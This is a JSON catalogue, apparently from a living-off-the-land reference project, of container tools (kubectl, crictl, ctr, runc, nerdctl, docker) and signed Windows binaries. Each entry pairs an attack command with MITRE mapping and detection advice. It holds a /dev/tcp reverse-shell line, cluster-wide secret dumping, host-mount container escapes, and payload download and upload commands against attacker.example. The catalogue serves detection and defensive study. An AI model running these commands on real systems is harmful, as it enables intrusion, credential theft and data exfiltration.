daemon-sec-lotl

daemon-backlog.json (68720B)

---

 [
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux",
    "Windows"
   ],
   "capability": [
    "Execution",
    "Reverse/Bind Shell"
   ],
   "nativeCategory": [
    "Execute",
    "Container Administration"
   ],
   "command": "kubectl exec -it pod-x -n ns-x -- /bin/sh\nkubectl exec pod-x -n ns-x -- bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"",
   "description": "Runs an arbitrary command inside an already-running pod through the Kubernetes API's pods/exec subresource, giving an interactive shell without deploying anything new. With a token that has the exec verb, an operator can pivot into any reachable workload and, as shown, spawn a reverse shell back to a listener.",
   "usecase": "Interactively run commands or pop a shell inside an existing pod using only exec RBAC, avoiding creation of new objects.",
   "mitre": [
    "T1609"
   ],
   "privilege": "user",
   "detection": "Kubernetes API audit log create events on the pods/exec subresource (objectRef.subresource=exec). Alert on exec into production/system namespaces, exec by service-account identities that normally never exec, and exec commands spawning shells (sh, bash, /dev/tcp). Correlate with kubelet logs.",
   "references": [
    "https://attack.mitre.org/techniques/T1609/",
    "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_exec/"
   ],
   "verifyNote": "MITRE T1609 page explicitly names `kubectl exec` as a procedure; kubectl_exec generated docs confirm -it/-n/-- syntax. Binary absent from GTFOBins/LOLBAS/WADComs."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Credential Access",
    "Collection"
   ],
   "nativeCategory": [
    "Credential Access"
   ],
   "command": "kubectl get secrets --all-namespaces -o json\nkubectl get secret secret-x -n ns-x -o jsonpath='{.data.token}' | base64 -d",
   "description": "Lists Kubernetes Secret objects and dumps their contents. Secret data is only base64-encoded in the API, so a single get/list on the secrets resource returns service-account tokens, registry pull creds, TLS keys and app passwords in recoverable form. --all-namespaces harvests every namespace the identity can read.",
   "usecase": "Harvest tokens, cloud keys and passwords cluster-wide from the API when the compromised identity holds get/list on secrets.",
   "mitre": [
    "T1552.007"
   ],
   "privilege": "user",
   "detection": "Enable RequestResponse-level audit on the secrets resource. Alert on list/get across many namespaces or all-namespaces, especially from service accounts. Red Canary Atomic T1552.007 mirrors this. Watch /api/v1/secrets and /api/v1/namespaces/*/secrets GET/LIST spikes.",
   "references": [
    "https://attack.mitre.org/techniques/T1552/007/",
    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.007/T1552.007.md",
    "https://kubernetes.io/docs/concepts/configuration/secret/"
   ],
   "verifyNote": "MITRE T1552.007 (Container API) description explicitly covers using the Kubernetes API to retrieve Secrets; Red Canary Atomic T1552.007 replicates `kubectl get secrets`. Secrets are base64, not encrypted (k8s Secret docs)."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Privilege Escalation",
    "Execution"
   ],
   "nativeCategory": [
    "Escape to Host",
    "Deploy Container"
   ],
   "command": "kubectl run pod-x -n ns-x --restart=Never -it --rm --image=alpine --overrides='{\"spec\":{\"hostPID\":true,\"containers\":[{\"name\":\"c\",\"image\":\"alpine\",\"stdin\":true,\"tty\":true,\"command\":[\"/bin/sh\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"name\":\"host\",\"mountPath\":\"/host\"}]}],\"volumes\":[{\"name\":\"host\",\"hostPath\":{\"path\":\"/\"}}]}}'\n# then inside: chroot /host sh",
   "description": "Uses the --overrides flag of kubectl run to inject a raw pod spec that is privileged, shares the host PID namespace and mounts the node root filesystem via a hostPath volume. Once scheduled, chroot /host yields a root shell on the underlying node, escaping the cluster's isolation boundary.",
   "usecase": "Escape from cluster tenant to full node root when the identity can create pods with privileged/hostPath specs (no PodSecurity restricted).",
   "mitre": [
    "T1611",
    "T1610"
   ],
   "privilege": "user",
   "detection": "Audit pods/create where securityContext.privileged=true, hostPID/hostNetwork/hostIPC=true, or volumes[].hostPath is set (especially path /). Enforce Pod Security Admission 'restricted' or an admission controller (OPA/Kyverno) to block these specs and alert on rejections.",
   "references": [
    "https://attack.mitre.org/techniques/T1611/",
    "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html"
   ],
   "verifyNote": "`--overrides` is a documented kubectl run flag (inline JSON merged into the generated object); kubernetes/kubectl#721 and HackTricks document it as the privileged/hostPath escape workaround. T1611 (Escape to Host)+T1610 (Deploy Container) correct."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Privilege Escalation",
    "File Read"
   ],
   "nativeCategory": [
    "Node Access",
    "Escape to Host"
   ],
   "command": "kubectl debug node/node-x -it --image=alpine --profile=sysadmin\n# then inside the debug pod: chroot /host sh",
   "description": "kubectl debug node creates a debugging pod that runs in the target node's host namespaces with the node root filesystem mounted at /host. Combined with --profile=sysadmin (privileged) and chroot /host it provides root-level access to the node's disk and processes, a supported feature repurposed for host takeover.",
   "usecase": "Obtain node filesystem/root access through the sanctioned node-debug path when create-pods on nodes is permitted.",
   "mitre": [
    "T1611"
   ],
   "privilege": "user",
   "detection": "Audit for pod create with names matching node-debugger-* and node-scoped debug pods carrying host namespaces or --profile=sysadmin. Alert on debug pods mounting /host or running chroot. Restrict the node/debug capability via RBAC.",
   "references": [
    "https://kubernetes.io/docs/tasks/debug/debug-cluster/kubectl-node-debug/",
    "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_debug/"
   ],
   "verifyNote": "kubernetes.io 'Debugging Kubernetes Nodes With Kubectl' page (fetched live) confirms node root mounts at /host, that plain debug is not privileged so chroot /host fails unless `--profile=sysadmin` is used; T1611. Both refs live."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux",
    "Windows"
   ],
   "capability": [
    "File Copy",
    "Collection"
   ],
   "nativeCategory": [
    "File Copy",
    "Collection"
   ],
   "command": "kubectl cp ns-x/pod-x:/etc/passwd /tmp/x\nkubectl cp /tmp/x ns-x/pod-x:/tmp/x",
   "description": "Copies files and directories out of or into a pod. Under the hood kubectl cp streams a tar archive through the pods/exec subresource (the container image must contain tar), so it doubles as a data-exfiltration and tool-staging channel that only needs exec permission.",
   "usecase": "Pull sensitive files out of a pod or stage attacker tooling into it using nothing but exec/cp rights.",
   "mitre": [
    "T1609"
   ],
   "privilege": "user",
   "detection": "cp rides pods/exec, so audit exec create events invoking tar (command contains 'tar -cf -' or 'tar -xmf -'). Alert on exec+tar into/out of sensitive workloads and on large streamed transfers correlated with exec sessions.",
   "references": [
    "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_cp/",
    "https://attack.mitre.org/techniques/T1609/"
   ],
   "verifyNote": "kubectl_cp generated docs confirm cp streams a tar via the exec subresource and requires tar in the container image; T1609 justified because cp executes tar in-container. Absent from GTFOBins/LOLBAS."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Discovery"
   ],
   "nativeCategory": [
    "Discovery"
   ],
   "command": "kubectl auth can-i --list\nkubectl auth can-i create pods -n ns-x\nkubectl auth can-i --list --as=system:serviceaccount:ns-x:sa-x",
   "description": "Queries the RBAC authorizer (SelfSubjectRulesReview / SelfSubjectAccessReview) to enumerate exactly which resources and verbs the current identity is allowed. --list dumps the full permission matrix; --as combines with impersonation rights to map another subject's power without using its credentials.",
   "usecase": "Enumerate the compromised token's RBAC reach (and plan escalation) before taking any noisy action.",
   "mitre": [
    "T1069"
   ],
   "privilege": "user",
   "detection": "Audit create events on selfsubjectrulesreviews / selfsubjectaccessreviews (a public Sigma rule flags RBAC permission listing). A burst of can-i / --list right after a new token appears is a strong recon signal; alert on impersonation (--as) combined with these reviews.",
   "references": [
    "https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access",
    "https://detection.fyi/sigmahq/sigma/application/kubernetes/audit/kubernetes_audit_rbac_permisions_listing/"
   ],
   "verifyNote": "can-i --list uses SelfSubjectRulesReview (k8s authz docs, 'Checking API access'); detection.fyi Sigma rule 'RBAC Permission Enumeration Attempt' fetched live (it tags T1069.003/T1087.004 — parent T1069 retained as correct)."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Lateral Movement"
   ],
   "nativeCategory": [
    "Lateral Movement",
    "Proxy"
   ],
   "command": "kubectl port-forward svc/svc-x -n ns-x 8080:80\nkubectl port-forward --address 0.0.0.0 pod-x -n ns-x 8080:8080",
   "description": "Opens a tunnel from the operator's machine, through the API server and kubelet, to a port on a pod or service via the pods/portforward subresource. This reaches ClusterIP-only services (databases, internal admin UIs, dashboards) that are otherwise unroutable, and --address 0.0.0.0 can expose the tunnel to other hosts.",
   "usecase": "Reach cluster-internal services (DBs, dashboards, metadata proxies) from outside without deploying a pod.",
   "mitre": [
    "T1090.001"
   ],
   "privilege": "user",
   "detection": "Audit create on the pods/portforward subresource (objectRef.subresource=portforward). Alert on port-forward to sensitive services (etcd, databases, dashboards), long-lived forwards, and --address bindings other than localhost.",
   "references": [
    "https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#port-forward",
    "https://attack.mitre.org/techniques/T1090/001/"
   ],
   "verifyNote": "Command real: `kubectl port-forward` with the pods/portforward subresource and the `--address` flag are documented in kubectl docs. FIX: MITRE changed T1609->T1090.001 (Internal Proxy) and reference swapped accordingly — T1609 is defined as executing commands within a container, which port-forward does not do; it establishes a proxy tunnel to internal services."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Credential Access"
   ],
   "nativeCategory": [
    "Credential Access",
    "Token Request"
   ],
   "command": "kubectl create token sa-x -n ns-x --duration=999999h",
   "description": "Requests a bound service-account token through the TokenRequest API. An identity that can create serviceaccounts/token for a more-privileged service account can mint a fresh bearer token for it and assume its permissions, with --duration pushing the expiry far out.",
   "usecase": "Mint a valid bearer token for a higher-privileged service account to escalate or persist.",
   "mitre": [
    "T1528"
   ],
   "privilege": "user",
   "detection": "Audit create on the serviceaccounts/token subresource (TokenRequest). Alert when a subject requests tokens for service accounts it does not own, on unusually long --duration / requested expirationSeconds, and on token requests for privileged SAs (e.g. cluster-admin-bound).",
   "references": [
    "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_create/kubectl_create_token/",
    "https://attack.mitre.org/techniques/T1528/"
   ],
   "verifyNote": "kubectl_create_token generated docs confirm `create token` is backed by the TokenRequest API and that `--duration` sets the requested token lifetime; T1528 (Steal Application Access Token) fits assuming a higher-priv SA. Server may cap very long durations, but the flag is real."
  },
  {
   "toolName": "kubectl",
   "toolId": "kubectl",
   "platform": [
    "Linux",
    "Windows"
   ],
   "capability": [
    "Discovery"
   ],
   "nativeCategory": [
    "Discovery"
   ],
   "command": "kubectl get pods -A -o wide\nkubectl get nodes -o wide\nkubectl get all -A -o yaml",
   "description": "Enumerates cluster resources: pods and their node placement/IPs, nodes and addresses, and full object manifests. -o yaml exposes environment variables, mounted volumes, image references and annotations that frequently leak credentials and reveal the escape/lateral-movement surface.",
   "usecase": "Map workloads, nodes and embedded config/secrets to plan lateral movement and host escape.",
   "mitre": [
    "T1613"
   ],
   "privilege": "user",
   "detection": "Audit high-volume list/get across pods, nodes and other resources (especially -A / cluster-scoped) from a single identity in a short window. Baseline normal read patterns per service account and alert on broad enumeration by identities that usually touch one namespace.",
   "references": [
    "https://attack.mitre.org/techniques/T1613/",
    "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_get/"
   ],
   "verifyNote": "kubectl_get generated docs confirm -A/--all-namespaces, -o wide and -o yaml; T1613 (Container and Resource Discovery) is the correct technique for cluster resource enumeration."
  },
  {
   "toolName": "crictl",
   "toolId": "crictl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Execution"
   ],
   "nativeCategory": [
    "Execute",
    "Container Administration"
   ],
   "command": "crictl ps\ncrictl exec -it CONTAINERID sh",
   "description": "crictl is the CRI debugging CLI that talks directly to the node's container runtime (containerd/CRI-O) socket, bypassing the API server and kubelet policy entirely. From a compromised node, crictl ps lists running containers and crictl exec drops an interactive shell into any of them, including other tenants' workloads.",
   "usecase": "On a node, execute into any running container out-of-band of the Kubernetes API and its RBAC/audit.",
   "mitre": [
    "T1609"
   ],
   "privilege": "admin",
   "detection": "Node-level process/auditd monitoring: exec of crictl (and containerd-shim/runc exec children) not originating from kubelet. These actions bypass API audit, so rely on host EDR and file/socket access to /run/containerd/containerd.sock or /var/run/crio/crio.sock.",
   "references": [
    "https://kubernetes.io/docs/tasks/debug/debug-cluster/crictl/",
    "https://attack.mitre.org/techniques/T1609/"
   ],
   "verifyNote": "kubernetes.io crictl debug docs and cri-tools confirm `crictl ps` and `crictl exec -it`; crictl speaks directly to the CRI socket, bypassing apiserver/RBAC/audit. Not a GTFOBins/LOLBAS binary; T1609."
  },
  {
   "toolName": "crictl",
   "toolId": "crictl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Credential Access",
    "Discovery"
   ],
   "nativeCategory": [
    "Credential Access",
    "Discovery"
   ],
   "command": "crictl ps -a\ncrictl inspect CONTAINERID",
   "description": "crictl inspect returns a container's full CRI status JSON including its environment variables, command line, mounts and labels. Applications commonly pass secrets (DB passwords, API keys, tokens) as env vars, so inspecting containers on a node reveals those plaintext values without touching Kubernetes Secret objects or the API server.",
   "usecase": "Read plaintext env-var secrets and mount layout of colocated containers straight from the node runtime.",
   "mitre": [
    "T1552.007",
    "T1613"
   ],
   "privilege": "admin",
   "detection": "Auditd/EDR for crictl inspect / inspectp / inspecti invocations on nodes outside of sanctioned tooling, and for reads of the containerd/CRI-O socket. Prefer mounting secrets as files with restrictive modes over env vars to shrink this exposure.",
   "references": [
    "https://kubernetes.io/docs/tasks/debug/debug-cluster/crictl/",
    "https://attack.mitre.org/techniques/T1552/007/"
   ],
   "verifyNote": "cri-tools/crictl docs confirm `crictl inspect` returns container status JSON incl. env vars (and inspectp/inspecti variants exist); reading runtime-held env secrets fits T1552.007 (Container API) + T1613 discovery."
  },
  {
   "toolName": "ctr",
   "toolId": "ctr",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Privilege Escalation",
    "Execution"
   ],
   "nativeCategory": [
    "Escape to Host",
    "Bind Mount Escape"
   ],
   "command": "ctr image pull {REMOTEURL}/ubuntu:latest\nctr run --privileged --net-host -t {REMOTEURL}/ubuntu:latest esc bash\nctr run --mount type=bind,src=/,dst=/host,options=rbind:rw -t {REMOTEURL}/ubuntu:latest esc chroot /host bash",
   "description": "ctr is containerd's low-level admin client. With access to the containerd socket an operator can pull an image and launch a container with --privileged/--net-host, or bind-mount the node root (src=/) into the container; chroot /host then yields a root shell on the node. It bypasses the kube-apiserver and any admission control.",
   "usecase": "Turn containerd socket access on a node into node root via a privileged or host-bind-mount container.",
   "mitre": [
    "T1611"
   ],
   "privilege": "admin",
   "detection": "Auditd/EDR for ctr invocations carrying --privileged, --net-host, or --mount type=bind,src=/ , and for access to /run/containerd/containerd.sock by non-kubelet processes. New containerd tasks from unexpected images/registries on a node are high-signal.",
   "references": [
    "https://hacktricks.wiki/en/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.html",
    "https://attack.mitre.org/techniques/T1611/"
   ],
   "verifyNote": "HackTricks containerd-ctr page confirms the exact `ctr run --privileged --net-host` and `ctr run --mount type=bind,src=/,dst=/...` host-mount escapes; ctr is not a GTFOBins binary; T1611. (options=rbind:rw is a benign superset of the documented options=rbind.)"
  },
  {
   "toolName": "runc",
   "toolId": "runc",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Privilege Escalation"
   ],
   "nativeCategory": [
    "Escape to Host",
    "Bind Mount Escape"
   ],
   "command": "runc spec\n# edit config.json mounts: {\"type\":\"bind\",\"source\":\"/\",\"destination\":\"/\",\"options\":[\"rbind\",\"rw\",\"rprivate\"]}\nmkdir rootfs\nrunc run esc",
   "description": "runc is the OCI runtime under Docker/containerd/CRI-O. Where runc is available with root, an operator can generate an OCI bundle with runc spec, edit config.json to bind-mount the host root (source \"/\") into the container, and runc run it, producing a container whose filesystem is the node's, granting full host access outside any orchestration policy.",
   "usecase": "Spawn an OCI container that bind-mounts the host root to reach node root when runc is runnable as root.",
   "mitre": [
    "T1611"
   ],
   "privilege": "admin",
   "detection": "Auditd/EDR for runc spec and runc run invocations that are not children of containerd-shim/dockerd (i.e. manual bundles), and for config.json files whose mounts bind source \"/\". Flag new OCI bundle directories written to disk followed by runc run.",
   "references": [
    "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation",
    "https://attack.mitre.org/techniques/T1611/"
   ],
   "verifyNote": "HackTricks runc page confirms `runc spec` -> edit config.json to bind-mount source '/' -> `runc run`; also confirms runc must run as root (privilege=admin). T1611; runc is not a GTFOBins binary."
  },
  {
   "toolName": "docker",
   "toolId": "docker",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Collection",
    "File Read"
   ],
   "nativeCategory": [
    "Collection",
    "Data Staging"
   ],
   "command": "docker cp CONTAINERID:/etc/shadow /tmp/x\ndocker export CONTAINERID -o /tmp/x.tar\ndocker save IMAGE:latest -o /tmp/x.tar",
   "description": "With Docker daemon access, docker cp pulls individual files out of any container's filesystem, docker export writes a tar snapshot of a container's whole filesystem, and docker save archives full images (all layers/history). Together they let an operator harvest other containers' files, embedded secrets and build-time credentials from a single node.",
   "usecase": "Collect files, filesystem snapshots and image layers (with baked-in secrets) from colocated containers.",
   "mitre": [
    "T1005"
   ],
   "privilege": "admin",
   "detection": "docker events for export/save/cp actions and auditd for large tar writes by dockerd; flag export/save of containers or images the user did not create, and cp reads of sensitive paths (/etc/shadow, mounted secret volumes). Baseline legitimate backup jobs to reduce noise.",
   "references": [
    "https://docs.docker.com/reference/cli/docker/container/export/",
    "https://docs.docker.com/reference/cli/docker/image/save/",
    "https://attack.mitre.org/techniques/T1005/"
   ],
   "verifyNote": "docker export/save/cp CLI docs confirm the commands and -o/--output (export page fetched live). Criterion (e) caveat: `docker cp` overlaps the existing GTFOBins docker File-read/File-write functions, but `docker export`/`docker save` (whole-filesystem and whole-image tar for bulk collection, T1005) are additive and absent from GTFOBins — kept for that additive value."
  },
  {
   "toolName": "nerdctl",
   "toolId": "nerdctl",
   "platform": [
    "Linux"
   ],
   "capability": [
    "Privilege Escalation",
    "Execution"
   ],
   "nativeCategory": [
    "Escape to Host",
    "Bind Mount Escape"
   ],
   "command": "nerdctl run --privileged --rm -it -v /:/host alpine chroot /host sh",
   "description": "nerdctl is the Docker-compatible CLI for containerd and accepts docker run flags. On a node with containerd, an operator can run a --privileged container that bind-mounts the host root (-v /:/host) and chroot /host to obtain node root, the same host-mount escape as docker/ctr but through the nerdctl front-end.",
   "usecase": "Escape to node root via containerd using familiar docker-style --privileged and host-mount flags.",
   "mitre": [
    "T1611"
   ],
   "privilege": "admin",
   "detection": "Auditd/EDR for nerdctl invocations with --privileged or -v /:/ (host-root bind) and for new containerd tasks not launched by kubelet. Restrict access to the containerd socket and to the nerdctl binary; alert on chroot into a host-root mount inside a container.",
   "references": [
    "https://github.com/containerd/nerdctl/blob/main/docs/command-reference.md",
    "https://attack.mitre.org/techniques/T1611/"
   ],
   "verifyNote": "nerdctl command-reference confirms Docker-compatible `--privileged` and `-v` bind mounts; same host-mount escape as docker but nerdctl is NOT a GTFOBins/LOLBAS binary, so the entry is additive; T1611."
  },
  {
   "toolName": "msiexec.exe",
   "toolId": "msiexec",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Execution",
    "AWL / Policy Bypass"
   ],
   "nativeCategory": [
    "Execute"
   ],
   "command": "msiexec /q /i https://attacker.example/x.msi",
   "description": "The signed Windows Installer fetches and silently installs a remote MSI; the package's custom actions run arbitrary code under the trusted msiexec host. A signed vendor MSI can also be paired with a malicious remote transform: msiexec /i C:\\Windows\\Temp\\x.msi TRANSFORMS=\"https://attacker.example/x.mst\" /qb.",
   "usecase": "Proxy execution of attacker code through a trusted, signed installer, including from a remote URL.",
   "mitre": [
    "T1218.007",
    "T1105"
   ],
   "privilege": "user",
   "detection": "msiexec.exe with an http(s):// argument or a network-facing parent; msiexec.exe spawning cmd.exe/powershell.exe/rundll32; MSI or MST files written into INetCache; TRANSFORMS= pointing at a URL.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msiexec.yml",
    "https://attack.mitre.org/techniques/T1218/007/"
   ],
   "verifyNote": "LOLBAS Msiexec.yml quotes both `msiexec /q /i {REMOTEURL}` and `msiexec /i {PATH} TRANSFORMS=\"{REMOTEURL:.mst}\" /qb`, MitreID T1218.007; verbatim match."
  },
  {
   "toolName": "curl.exe",
   "toolId": "curl",
   "platform": [
    "Windows",
    "Linux",
    "macOS"
   ],
   "capability": [
    "File Download",
    "File Upload"
   ],
   "nativeCategory": [
    "Download",
    "Upload"
   ],
   "command": "curl.exe -o C:\\Windows\\Temp\\x.exe http://attacker.example/x.exe\ncurl.exe -T C:\\Windows\\Temp\\loot.zip http://attacker.example/upload/",
   "description": "curl.exe has shipped in-box on Windows 10 since build 1803 (and on macOS/Linux for years). -o/--output writes a downloaded URL to a chosen path (ingress transfer) and -T/--upload-file (or -d/--data for POST) exfiltrates a local file to a remote server, all from a Microsoft-signed binary.",
   "usecase": "Download a payload or stage/exfiltrate data using a built-in, trusted HTTP client instead of certutil/bitsadmin.",
   "mitre": [
    "T1105",
    "T1567"
   ],
   "privilege": "user",
   "detection": "curl.exe writing executable/script content with -o/-O; curl.exe -T/--upload-file or -d to external hosts; curl.exe with a non-interactive parent (office, script host); egress to newly-seen domains from curl.exe.",
   "references": [
    "https://curl.se/docs/manpage.html",
    "https://curl.se/windows/"
   ],
   "verifyNote": "curl.se manpage documents -o/--output and -T/--upload-file (and -d/--data) exactly as described; curl.se/windows confirms the Microsoft-signed in-box build."
  },
  {
   "toolName": "tar.exe",
   "toolId": "tar",
   "platform": [
    "Windows"
   ],
   "capability": [
    "File Download",
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Download",
    "Hide/ADS"
   ],
   "command": "tar.exe -xf \\\\10.10.10.10\\share\\x.tar -C C:\\Windows\\Temp\ntar.exe -cf C:\\Windows\\Temp\\x.txt:evil.tar C:\\Windows\\Temp\\payload",
   "description": "The in-box bsdtar (Windows 10 1803+) extracts an archive directly from a UNC/SMB path, pulling files from a remote host without a classic downloader (ingress transfer). tar can also read from and write to NTFS Alternate Data Streams (path:ads), hiding archived payloads inside a benign-looking file.",
   "usecase": "Copy files in from a remote share, or stash a payload in an ADS to evade file-based detection, using a signed archiver.",
   "mitre": [
    "T1105",
    "T1564.004"
   ],
   "privilege": "user",
   "detection": "tar.exe with a UNC (\\\\host\\share) source; tar.exe archive paths containing ':' (ADS notation); tar.exe making SMB/network connections; extraction into system-writable temp dirs.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Tar.yml",
    "https://learn.microsoft.com/en-us/windows/tar/"
   ],
   "verifyNote": "LOLBAS Tar.yml documents `tar -xf {PATH_SMB:.tar}` (T1105) and `tar -cf {PATH}:ads {folder}` / `tar -xf {PATH}:ads` (T1564.004); both match."
  },
  {
   "toolName": "ssh.exe",
   "toolId": "ssh",
   "platform": [
    "Windows",
    "Linux",
    "macOS"
   ],
   "capability": [
    "Execution",
    "Library Load"
   ],
   "nativeCategory": [
    "Execute"
   ],
   "command": "ssh.exe -o ProxyCommand=\"C:\\Windows\\Temp\\x.exe\" .\nssh.exe -o PKCS11Provider=\"\\\\10.10.10.10\\Temp\\x.dll\" user@test.local",
   "description": "The in-box OpenSSH client (Windows 10 1809+) runs the string given in ProxyCommand/LocalCommand through the shell before it ever connects, giving indirect command execution under a signed binary. The PKCS11Provider option loads and executes an attacker DLL (DllMain / C_GetFunctionList) from a remote SMB share.",
   "usecase": "Proxy-execute a command or side-load a DLL from a signed, trusted SSH client for defense evasion.",
   "mitre": [
    "T1202",
    "T1218"
   ],
   "privilege": "user",
   "detection": "ssh.exe with ProxyCommand/LocalCommand/PKCS11Provider on the command line; ssh.exe spawning cmd.exe/powershell.exe; ssh.exe loading a non-standard DLL from a UNC path; ssh.exe run with no legitimate remote host.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Ssh.yml",
    "https://attack.mitre.org/techniques/T1202/"
   ],
   "verifyNote": "LOLBAS Ssh.yml quotes `ssh -o ProxyCommand=\"{CMD}\" .` and `ssh -o PKCS11Provider=\"\\\\...\\example.dll\"` (DLL from SMB share), MitreID T1202; match. NOTE: secondary T1218 tag flagged in suspect — the PKCS11 DLL load maps better to T1574.002/T1129."
  },
  {
   "toolName": "scp.exe",
   "toolId": "scp",
   "platform": [
    "Windows",
    "Linux",
    "macOS"
   ],
   "capability": [
    "Execution",
    "File Copy"
   ],
   "nativeCategory": [
    "Execute"
   ],
   "command": "scp.exe -S C:\\Windows\\Temp\\x.exe . localhost:.\nscp.exe -o ProxyCommand=\"C:\\Windows\\Temp\\x.exe\" . localhost:.",
   "description": "The in-box OpenSSH scp client spawns the program named by -S (alternate ssh program) or ProxyCommand even when no SSH server is listening, giving indirect command execution under a signed binary. scp also legitimately copies files to/from remote hosts and can be used to stage or exfiltrate data.",
   "usecase": "Proxy-execute a command through scp->ssh, or move files off-host, using a signed binary.",
   "mitre": [
    "T1202",
    "T1105"
   ],
   "privilege": "user",
   "detection": "scp.exe with -S or -o ProxyCommand; scp.exe child processes (cmd/powershell); scp.exe copying to/from external hosts; scp targeting localhost with no SSH service present.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Scp.yml",
    "https://attack.mitre.org/techniques/T1202/"
   ],
   "verifyNote": "LOLBAS Scp.yml quotes both `scp.exe -S \"{CMD}\" . localhost:.` and `scp.exe -o ProxyCommand=\"{CMD}\" . localhost:.` (spawns even with no SSH), MitreID T1202; match."
  },
  {
   "toolName": "msedge.exe",
   "toolId": "msedge",
   "platform": [
    "Windows",
    "macOS",
    "Linux"
   ],
   "capability": [
    "File Download",
    "Execution"
   ],
   "nativeCategory": [
    "Download",
    "Execute"
   ],
   "command": "msedge.exe --headless --enable-logging --disable-gpu --dump-dom \"https://attacker.example/x.base64.html\" > C:\\Windows\\Temp\\x.b64\nmsedge.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\Temp\\x.exe &&\"",
   "description": "Chromium browsers (Edge is preinstalled and signed; chrome.exe behaves identically) print the rendered DOM to stdout with --headless --dump-dom, letting an operator pull a base64 payload disguised as an .html page with no classic downloader on the command line. The --gpu-launcher switch runs an arbitrary command as a child of the signed browser (system binary proxy execution).",
   "usecase": "Silently download a payload via a trusted browser, or proxy-execute a command under a signed browser process.",
   "mitre": [
    "T1105",
    "T1218"
   ],
   "privilege": "user",
   "detection": "browser process (msedge.exe/chrome.exe) with --headless together with --dump-dom, or with --gpu-launcher/--utility-cmd-prefix/--renderer-cmd-prefix; browser redirecting stdout to a file; browser process whose parent is a script host or Office app.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msedge.yml",
    "https://twitter.com/mrd0x/status/1478234484881436672"
   ],
   "verifyNote": "LOLBAS Msedge.yml (OSBinaries) documents `--headless --enable-logging --disable-gpu --dump-dom` (T1105) and `--disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\"` (T1218.015); reference URL corrected to the OSBinaries YAML path."
  },
  {
   "toolName": "MpCmdRun.exe",
   "toolId": "mpcmdrun",
   "platform": [
    "Windows"
   ],
   "capability": [
    "File Download",
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Download",
    "ADS"
   ],
   "command": "MpCmdRun.exe -DownloadFile -url https://attacker.example/x.exe -path C:\\Windows\\Temp\\x.exe\nMpCmdRun.exe -DownloadFile -url https://attacker.example/x.exe -path C:\\Windows\\Temp\\x.exe:evil.exe",
   "description": "Microsoft Defender's command-line utility (MpCmdRun.exe) downloads an arbitrary URL to disk with -DownloadFile (slashes or dashes both work), and can drop the file straight into an NTFS Alternate Data Stream. It is a signed AV binary, so the transfer blends in. Microsoft removed the flag in newer builds, but older platform copies remain abusable.",
   "usecase": "Download a payload (optionally hidden in an ADS) using the trusted Defender binary itself.",
   "mitre": [
    "T1105",
    "T1564.004"
   ],
   "privilege": "user",
   "detection": "MpCmdRun.exe with -DownloadFile/-url/-path; MpCmdRun.exe launched from a non-Defender directory or by an unexpected parent; network egress from MpCmdRun.exe to non-Microsoft hosts; -path containing ':' (ADS).",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/MpCmdRun.yml",
    "https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/"
   ],
   "verifyNote": "LOLBAS MpCmdRun.yml quotes `-DownloadFile -url {REMOTEURL:.exe} -path {PATH:.exe}` (T1105, slashes/dashes both work) and the `-path {PATH}:evil.exe` ADS variant (T1564.004); match."
  },
  {
   "toolName": "desktopimgdownldr.exe",
   "toolId": "desktopimgdownldr",
   "platform": [
    "Windows"
   ],
   "capability": [
    "File Download",
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Download"
   ],
   "command": "set \"SYSTEMROOT=C:\\Windows\\Temp\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://attacker.example/x.exe /eventName:desktopimgdownldr",
   "description": "The Personalization CSP lock-screen tool downloads the URL given in /lockscreenurl to disk as a standard user. Overriding the SYSTEMROOT environment variable redirects the output to an attacker-chosen folder, and the PersonalizationCSP registry value seeded by the run can be deleted afterward to erase the trace.",
